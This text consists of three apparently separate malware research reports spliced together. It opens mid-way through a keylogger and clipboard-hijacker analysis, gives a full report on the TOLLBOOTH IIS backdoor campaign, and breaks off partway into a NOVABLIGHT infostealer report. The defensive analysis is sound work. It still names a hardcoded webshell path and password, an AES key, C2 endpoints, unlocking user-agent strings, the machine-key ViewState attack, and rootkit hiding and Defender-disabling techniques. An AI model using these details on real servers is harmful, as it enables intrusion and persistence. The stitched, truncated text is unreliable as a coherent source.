The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.

The malware then enters a monitoring loop to capture three categories of information.

• First, it monitors the clipboard using OpenClipboard and GetClipboardData, logging any changes to text content with the prefix [剪切板:].
• Second, it tracks window focus changes via GetForegroundWindow, logging the active window title and timestamp with the prefixes [标题:] and [时间:], respectively, whenever the user switches applications.
• Third, it retrieves buffered keyboard events from the DirectInput8 device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix [内容:].

Clipboard Hijacker

The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under HKEY_CURRENT_USER\offlinekey with keys clipboard (enable/disable feature), charac (search string), characLen (search length), and newcharac (replacement string).

It registers a window class named ClipboardListener_Class_Toggle and creates a hidden window titled ClipboardMonitor to receive clipboard change notifications. The window procedure handles WM_CLIPBOARDUPDATE (0x31D) messages by verifying clipboard sequence numbers with GetClipboardSequenceNumber to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via EmptyClipboard and SetClipboardData.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Execution
• Persistence
• Privilege Escalation
• Defense Evasion
• Credential Access
• Discovery
• Collection
• Command and Control

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Command and Scripting Interpreter: Windows Command Shell
• System Services: Service Execution
• Create or Modify System Process: Windows Service
• Abuse Elevation Control Mechanism: Bypass User Account Control
• Access Token Manipulation
• Impair Defenses: Disable or Modify Tools
• Impair Defenses: Disable or Modify System Firewall
• Indicator Removal: Clear Windows Event Logs
• Hijack Execution Flow: DLL Side-Loading
• Process Injection
• Masquerading: Match Legitimate Name or Location
• Modify Registry
• Subvert Trust Controls: Code Signing Policy Modification
• Input Capture: Keylogging
• Clipboard Data
• Process Discovery
• System Information Discovery
• System Owner/User Discovery
• Software Discovery: Security Software Discovery
• Non-Application Layer Protocol
• Encrypted Channel: Symmetric Cryptography

Mitigations

Detection

• Potential Evasion via ClipUp Execution
• Suspicious Remote Memory Allocation
• Potential Suspended Process Code Injection
• Remote Memory Write to Trusted Target Process
• Remote Process Memory Write by Low Reputation Module
• Process Memory Write to a Non Child Process
• Unbacked Shellcode from Unsigned Module
• UAC Bypass Attempt via WOW64 Logger DLL Side-Loading
• Network Connect API from Unbacked Memory
• Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory
• Network Module Loaded from Suspicious Unbacked Memory

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:

• Windows.Trojan.RoningLoader
• Windows.Trojan.DragonBreath

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://nsis.sourceforge.io/Main_Page
• https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
• https://github.com/Jemmy1228/HookSigntool
• https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
• https://hijacklibs.net/entries/microsoft/built-in/wow64log.html
• https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function
• https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
• https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43
• https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/
• https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/
• https://github.com/sin5678/gh0st

In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

• Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
• Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
• Threat actors adapted the open source “Hidden” rootkit project to hide their presence
• The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
• This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

• Discovery/enumeration capabilities
• Privilege escalation techniques
• Command execution/file execution
• Shellcode loader, meterpreter, in-memory PE execution
• File management, zipping utility
• Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
• Browser password scraping
• Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

• InitializeConfigs
• InitializeKernelAnalyzer
• InitializePsMonitor
• InitializeFSMiniFilter
• InitializeRegistryFilter
• InitializeDevice
• InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

• Excluded
  • The rootkit will ignore the process and just let it run as expected.
• Protected
  • The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
• Hidden
  • The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

• IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
• IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

The following is a table describing each IOCTL command handled by the driver.

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/<victim_HTTP_host_value>.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

• stock
• invest
• summary
• datamining
• market-outlook
• bullish-on
• news-overview
• news-volatility
• video/
• app/
• blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com/<date>/<md5_file_hash><.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

• Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

• Suspicious Execution via Windows Services
• Potential Shellcode Injection via a WebShell
• Execution from Suspicious Directory

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

• Windows.Trojan.Tollbooth
• Windows.Trojan.HiddenCli
• Windows.Trojan.HiddenDriver

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial Access
• Execution
• Defense Evasion
• Credential Access
• Collection
• Exfiltration

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Exploit Public-Facing Application
• Server Software Component: IIS Components
• OS Credential Dumping
• Hide Artifacts: Hidden Files and Directories
• Data from Local System
• Rootkit
• Valid Accounts

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

• https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/
• https://asec.ahnlab.com/en/87804/
• https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/
• https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters
• https://github.com/ekkoo-z/Z-Godzilla_ekp
• https://x.com/AzakaSekai_/status/1969294757978652947

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

• https://x.com/securechicken/status/1980715257791193420
• https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.

Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind Nova Sentinel and MALICORD, is responsible for NOVABLIGHT as well.

Key takeaways

• NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.
• NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.
• Heavily obfuscated code with many capabilities.

Discovery

Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL http://gonefishe[.]com prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.

Distribution, monetization, and community

The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.

The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.

The group promotes a referral program on their Discord channel with API keys as rewards.

Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:

• api.nova-blight[.]top
• shadow.nova-blight[.]top
• nova-blight[.]site
• nova-blight[.]xyz
• bamboulacity.nova-blight[.]xyz

Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.

The GitHub account KSCHcuck1 is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account KSCH-58 (WEB ARCHIVE LINK). The X account @KSCH_dsc also possessed similarities, and was actively advertising their "best stealer ever released" as recently as 2023.

The following GitHub accounts have been identified in relation to the group:

• https://github.com/KSCHcuck1
• https://github.com/CrackedProgramer412/caca
• https://github.com/MYnva
• https://github.com/404log (dead)

Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.

Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.

NOVABLIGHT analysis

NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.

A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.

Code snippets in this report are from a non-obfuscated version 2.0 sample, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 sample when they differ.

Code structure

From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level "flow" controllers. The primary stages are:

• flow/init: Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.
• flow/injecting: Application injection and patching (Atomic, Mullvad, Discord, …)
• flow/grabb: Data harvesting
• flow/ClipBoard: Clipboard hijacking
• flow/sending: Data exfiltration
• flow/disable: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)
• flow/cleaning: Post-exfiltration cleanup

For more insights into the code structure, check out this GitHub Gist, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.

Anti-debug and sandbox detection

NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:

• Detecting VM-related GPU names (vmware, virtualbox, qemu)
• Checking for blacklisted usernames (sandbox, test, malware)
• Identifying VM-specific driver files (balloon.sys, qemu-ga)
• Checking for low screen resolution and lack of USB devices
• Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems
• Actively killing known analysis and debugging tools found in a remote list

The blacklists are hosted on GitHub:

• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json
• https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json
• https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json
• https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json

Disable Defender & attempts to disable Task Manager

NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, DisableWD.bat, from a public GitHub repository.

The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses setValues from the regedit-rs package to set the DisableTaskMgr value to 1 under HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System.

However, looking at the regedit-rs repo (v1.0.3 to match), there are no exported functions named setValues, only putValue. This functionality may not work as intended.

Disable internet access

To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package wifi-control and its resetWiFi function.

The second method disables the primary “Ethernet” network adapter using the netsh command, running it every 5 seconds to disable re-enabling attempts.

Defeat system recovery

